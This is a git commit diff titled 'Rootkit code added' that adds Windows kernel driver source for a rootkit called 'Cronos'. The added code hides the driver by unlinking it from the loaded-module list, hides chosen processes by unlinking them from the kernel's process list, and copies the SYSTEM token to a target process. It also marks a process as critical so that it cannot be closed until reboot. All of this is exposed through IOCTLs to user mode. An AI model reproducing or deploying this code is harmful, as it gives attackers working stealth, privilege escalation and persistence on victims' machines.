Rootkit code added

This commit is contained in:
Administrator
2021-09-09 11:22:36 +02:00
parent ba8a32f093
commit 3db4c681b4
7 changed files with 492 additions and 3 deletions
+3
View File
@@ -143,9 +143,12 @@
</ItemGroup>
<ItemGroup>
<ClInclude Include="Driver.h" />
<ClInclude Include="Rootkit.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="Driver.cpp" />
<ClCompile Include="Ghost.cpp" />
<ClCompile Include="Rootkit.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
@@ -22,10 +22,19 @@
<ClInclude Include="Driver.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Rootkit.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Driver.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Ghost.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Rootkit.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
+183 -2
View File
@@ -1,18 +1,199 @@
#include <ntifs.h>
#include <ntddk.h>
#include "Driver.h"
#include "Rootkit.h"
NTSTATUS DriverCreateClose(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp);
NTSTATUS DriverDispatch(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp);
VOID DriverUnload(_In_ PDRIVER_OBJECT DriverObject);
extern "C"
NTSTATUS
DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = DriverUnload;
KdPrint(("[+] Driver loaded!\n"));
DriverObject->DriverUnload = DriverUnload;
DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverCreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverCreateClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatch;
UNICODE_STRING devName = RTL_CONSTANT_STRING(L"\\Device\\Cronos");
PDEVICE_OBJECT DeviceObject;
NTSTATUS status = IoCreateDevice(DriverObject,
0,
&devName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&DeviceObject);
if (!NT_SUCCESS(status))
{
KdPrint(("[-] Unable to create device! %d\n", status));
return status;
}
UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\Cronos");
status = IoCreateSymbolicLink(&symLink, &devName);
if (!NT_SUCCESS(status))
{
KdPrint(("[-] Unable to create symbolic link! %d\n", status));
IoDeleteDevice(DeviceObject);
return status;
}
HideDriver(DriverObject);
return status;
}
NTSTATUS DriverDispatch(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp)
{
NTSTATUS status = STATUS_SUCCESS;
auto stack = IoGetCurrentIrpStackLocation(Irp);
switch (stack->Parameters.DeviceIoControl.IoControlCode)
{
case IOCTL_HIDEPROC:
{
KdPrint(("[+] Received hide process request\n"));
auto len = stack->Parameters.DeviceIoControl.InputBufferLength;
if (len < sizeof(HideProcData))
{
KdPrint(("[-] Received too small buffer\n"));
status = STATUS_BUFFER_TOO_SMALL;
break;
}
auto data = (HideProcData*)stack->Parameters.DeviceIoControl.Type3InputBuffer;
if (data == nullptr)
{
KdPrint(("[-] Received empty buffer\n"));
status = STATUS_INVALID_PARAMETER;
break;
}
ULONG targetPid = data->TargetPID;
GhostProcess(targetPid);
break;
}
case IOCTL_ELEVATEME:
{
PEPROCESS pTargetProcess, pSrcProcess;
KdPrint(("[+] Received elevation request\n"));
auto len = stack->Parameters.DeviceIoControl.InputBufferLength;
if (len < sizeof(ElevateData))
{
KdPrint(("[-] Received too small buffer\n"));
status = STATUS_BUFFER_TOO_SMALL;
break;
}
auto data = (ElevateData*)stack->Parameters.DeviceIoControl.Type3InputBuffer;
if (data == nullptr)
{
KdPrint(("[-] Received empty buffer\n"));
status = STATUS_INVALID_PARAMETER;
break;
}
ULONG targetPid = data->TargetPID;
ULONG srcPid = 4; //System PID is always 4
KdPrint(("[+] Target PID: %d and destination PID: %d\n", targetPid, srcPid));
status = ProcessElevation(srcPid, targetPid);
break;
}
case IOCTL_HIDETCP:
{
KdPrint(("[+] Received hide TCP request\n"));
auto len = stack->Parameters.DeviceIoControl.InputBufferLength;
if (len < sizeof(HideTcpData))
{
KdPrint(("[-] Received too small buffer\n"));
status = STATUS_BUFFER_TOO_SMALL;
break;
}
auto data = (HideTcpData*)stack->Parameters.DeviceIoControl.Type3InputBuffer;
if (data == nullptr)
{
KdPrint(("[-] Received empty buffer\n"));
status = STATUS_INVALID_PARAMETER;
break;
}
ULONG port = data->Port;
break;
}
case IOCTL_PROTECT:
{
KdPrint(("[+] Received process protect request!\n"));
NTSTATUS status = STATUS_SUCCESS;
auto len = stack->Parameters.DeviceIoControl.InputBufferLength;
if (len < sizeof(ProtectProcessData))
{
KdPrint(("[-] Received too small buffer\n"));
status = STATUS_BUFFER_TOO_SMALL;
break;
}
auto data = (ProtectProcessData*)stack->Parameters.DeviceIoControl.Type3InputBuffer;
if (data == nullptr)
{
KdPrint(("[-] Received empty buffer\n"));
status = STATUS_INVALID_PARAMETER;
break;
}
ULONG targetPid = data->TargetPID;
KdPrint(("[+] Elevating process\n"));
status = ProcessElevation(4, targetPid);
if (!NT_SUCCESS(status))
{
break;
}
KdPrint(("[*] Protecting process\n"));
status = ProtectProcess(targetPid);
if (!NT_SUCCESS(status))
{
break;
}
break;
}
default:
status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
Irp->IoStatus.Status = status;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
_Use_decl_annotations_
NTSTATUS DriverCreateClose(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
VOID DriverUnload(_In_ PDRIVER_OBJECT DriverObject)
{
KdPrint(("[+] Driver unloaded!\n"));
KdPrint(("[+] Driver unload called\n"));
UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\Cronos");
IoDeleteSymbolicLink(&symLink);
IoDeleteDevice(DriverObject->DeviceObject);
KdPrint(("[*] Driver unloaded!\n"));
}
+64 -1
View File
@@ -1,3 +1,66 @@
#include <ntifs.h>
#include <ntddk.h>
#define ACTIVE_PROCESS_LINKS 0x448
#pragma region IOCTL
#define IOCTL_HIDEPROC CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0001, METHOD_NEITHER, FILE_SPECIAL_ACCESS)
#define IOCTL_ELEVATEME CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0002, METHOD_NEITHER, FILE_SPECIAL_ACCESS)
#define IOCTL_HIDETCP CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0003, METHOD_NEITHER, FILE_SPECIAL_ACCESS) //Work in progress
#define IOCTL_PROTECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0004, METHOD_NEITHER, FILE_SPECIAL_ACCESS)
struct HideProcData {
ULONG TargetPID;
};
struct ElevateData {
ULONG TargetPID;
};
struct HideTcpData {
ULONG Port;
};
struct ProtectProcessData {
ULONG TargetPID;
};
#pragma endregion
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
struct _ACTIVATION_CONTEXT* EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
// GHOST
PCHAR GhostProcess(UINT32 PID);
VOID HideDriver(PDRIVER_OBJECT DriverObject);
+90
View File
@@ -0,0 +1,90 @@
////
// FUNCTIONS USED TO HIDE PROCESSES AND DRIVERS
////
#include <ntifs.h>
#include <ntddk.h>
#include "Driver.h"
#include <tdiinfo.h>
VOID HideDriver(PDRIVER_OBJECT DriverObject)
{
KdPrint(("[+] Hiding driver\n"));
KIRQL irql = KeRaiseIrqlToDpcLevel();
PLDR_DATA_TABLE_ENTRY prevEntry, nextEntry, modEntry;
modEntry = (PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection;
prevEntry = (PLDR_DATA_TABLE_ENTRY)modEntry->InLoadOrderLinks.Blink;
nextEntry = (PLDR_DATA_TABLE_ENTRY)modEntry->InLoadOrderLinks.Flink;
prevEntry->InLoadOrderLinks.Flink = modEntry->InLoadOrderLinks.Flink;
nextEntry->InLoadOrderLinks.Blink = modEntry->InLoadOrderLinks.Blink;
modEntry->InLoadOrderLinks.Flink = (PLIST_ENTRY)modEntry;
modEntry->InLoadOrderLinks.Blink = (PLIST_ENTRY)modEntry;
KeLowerIrql(irql);
KdPrint(("[!] Driver hidden!\n"));
}
VOID RemoveTheLinks(PLIST_ENTRY Current)
{
PLIST_ENTRY Previous, Next;
Previous = (Current->Blink);
Next = (Current->Flink);
Previous->Flink = Next;
Next->Blink = Previous;
// Re-write the current LIST_ENTRY to point to itself (avoiding BSOD)
Current->Blink = (PLIST_ENTRY)&Current->Flink;
Current->Flink = (PLIST_ENTRY)&Current->Flink;
return;
}
PCHAR GhostProcess(UINT32 pid)
{
KdPrint(("[+] Ghosting process\n"));
LPSTR result = (LPSTR)ExAllocatePool(NonPagedPool, sizeof(ULONG) + 20);;
ULONG PID_OFFSET = ACTIVE_PROCESS_LINKS;
KdPrint(("[+] PID offset: %p\n", PID_OFFSET));
ULONG LIST_OFFSET = PID_OFFSET;
//Checking architecture using pointer size
INT_PTR ptr;
// Ptr size 8 if compiled for a 64-bit machine, 4 if compiled for 32-bit machine
LIST_OFFSET += sizeof(ptr);
PEPROCESS CurrentEPROCESS = PsGetCurrentProcess();
PLIST_ENTRY CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET);
PUINT32 CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET);
if (*(UINT32*)CurrentPID == pid) {
RemoveTheLinks(CurrentList);
return (PCHAR)result;
}
PEPROCESS StartProcess = CurrentEPROCESS;
CurrentEPROCESS = (PEPROCESS)((ULONG_PTR)CurrentList->Flink - LIST_OFFSET);
CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET);
CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET);
while ((ULONG_PTR)StartProcess != (ULONG_PTR)CurrentEPROCESS)
{
if (*(UINT32*)CurrentPID == pid) {
RemoveTheLinks(CurrentList);
return (PCHAR)result;
}
CurrentEPROCESS = (PEPROCESS)((ULONG_PTR)CurrentList->Flink - LIST_OFFSET);
CurrentPID = (PUINT32)((ULONG_PTR)CurrentEPROCESS + PID_OFFSET);
CurrentList = (PLIST_ENTRY)((ULONG_PTR)CurrentEPROCESS + LIST_OFFSET);
}
KdPrint(("[!] Process %d ghosted!\n", pid));
return (PCHAR)result;
}
+117
View File
@@ -0,0 +1,117 @@
////
// FUNCTIONS USED TO ELEVAET AND PROTECTS PROCESSES
////
#include "Rootkit.h"
NTSTATUS ProtectProcess(DWORD PID)
{
NTSTATUS status = STATUS_SUCCESS;
CLIENT_ID clientId;
HANDLE handle, hToken;
TOKEN_PRIVILEGES tkp = { 0 };
OBJECT_ATTRIBUTES objAttr;
ULONG BreakOnTermination = 1;
clientId.UniqueThread = NULL;
clientId.UniqueProcess = ULongToHandle(PID);
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
status = ZwOpenProcess(&handle, PROCESS_ALL_ACCESS, &objAttr, &clientId);
if (!NT_SUCCESS(status))
{
KdPrint(("[-] Failed to open process: %d\n", status));
return status;
}
status = ZwOpenProcessTokenEx(handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, OBJ_KERNEL_HANDLE, &hToken);
if (!NT_SUCCESS(status))
{
KdPrint(("[-] Failed to open token\n"));
ZwClose(hToken);
return status;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tkp.Privileges[0].Luid = RtlConvertLongToLuid(SE_DEBUG_PRIVILEGE);
status = ZwAdjustPrivilegesToken(hToken, FALSE, &tkp, 0, NULL, NULL);
if (!NT_SUCCESS(status))
{
KdPrint(("[-] Failed to adjust token\n"));
ZwClose(hToken);
return status;
}
status = ZwSetInformationProcess(handle, ProcessBreakOnTermination, &BreakOnTermination, sizeof(ULONG));
if (!NT_SUCCESS(status))
{
KdPrint(("[-] Failed to set information process\n"));
ZwClose(hToken);
return status;
}
KdPrint(("[*] Process successfully set as critical!\n"));
tkp.Privileges[0].Luid = RtlConvertLongToLuid(SE_TCB_PRIVILEGE);
status = ZwSetInformationProcess(handle, ProcessBreakOnTermination, &BreakOnTermination, sizeof(ULONG));
if (!NT_SUCCESS(status))
{
KdPrint(("[-] Failed to set information process: nr 2\n"));
ZwClose(hToken);
return status;
}
KdPrint(("[!] The process has become part of the system!\n"));
KdPrint(("[!] You want be able to close process untile next reboot\n"));
ZwClose(hToken);
return status;
}
NTSTATUS ProcessElevation(ULONG srcPid, ULONG targetPid)
{
NTSTATUS status = STATUS_SUCCESS;
PEPROCESS pTargetProcess, pSrcProcess;
__try
{
//Getting target process
status = PsLookupProcessByProcessId(ULongToHandle(targetPid), &pTargetProcess);
if (!NT_SUCCESS(status))
{
KdPrint(("[-] Target PID PsLookup failed\n"));
return status;
}
KdPrint(("[+] Target EProcess address: 0x%p\n", pTargetProcess));
//Getting source process
status = PsLookupProcessByProcessId(ULongToHandle(srcPid), &pSrcProcess);
if (!NT_SUCCESS(status))
{
KdPrint(("[-] Source PID PsLookup failed\n"));
return status;
}
KdPrint(("[+] Source EProcess address: 0x%p\n", pSrcProcess));
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
KdPrint(("[-] Target or source PID PsLookup failed\n"));
return EXCEPTION_EXECUTE_HANDLER;
}
__try
{
KdPrint(("[+] Setting source token to the target token\n"));
*(UINT64*)((UINT64)pTargetProcess + (UINT64)TOKEN) = *(UINT64*)(UINT64(pSrcProcess) + (UINT64)TOKEN);
KdPrint(("[*] Source token copied to the target!\n"));
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
KdPrint(("[-] Setting target token to source token failed!\n"));
return EXCEPTION_EXECUTE_HANDLER;
}
return status;
}
+26
View File
@@ -0,0 +1,26 @@
#include <ntifs.h>
#include <ntddk.h>
#include <windef.h>
#define TOKEN 0x4b8
NTSTATUS ProtectProcess(DWORD PID);
NTSTATUS ProcessElevation(ULONG srcPid, ULONG targetPid);
extern "C"
NTSYSAPI NTSTATUS NTAPI ZwSetInformationProcess(
__in HANDLE ProcessHandle,
__in PROCESSINFOCLASS ProcessInformationClass,
__in_bcount(ProcessInformationLength) PVOID ProcessInformation,
__in ULONG ProcessInformationLength);
extern "C"
_Must_inspect_result_
NTSYSAPI NTSTATUS NTAPI ZwAdjustPrivilegesToken(
_In_ HANDLE TokenHandle,
_In_ BOOLEAN DisableAllPrivileges,
_In_opt_ PTOKEN_PRIVILEGES NewState,
_In_ ULONG BufferLength,
_Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState,
_When_(PreviousState != NULL, _Out_) PULONG ReturnLength
);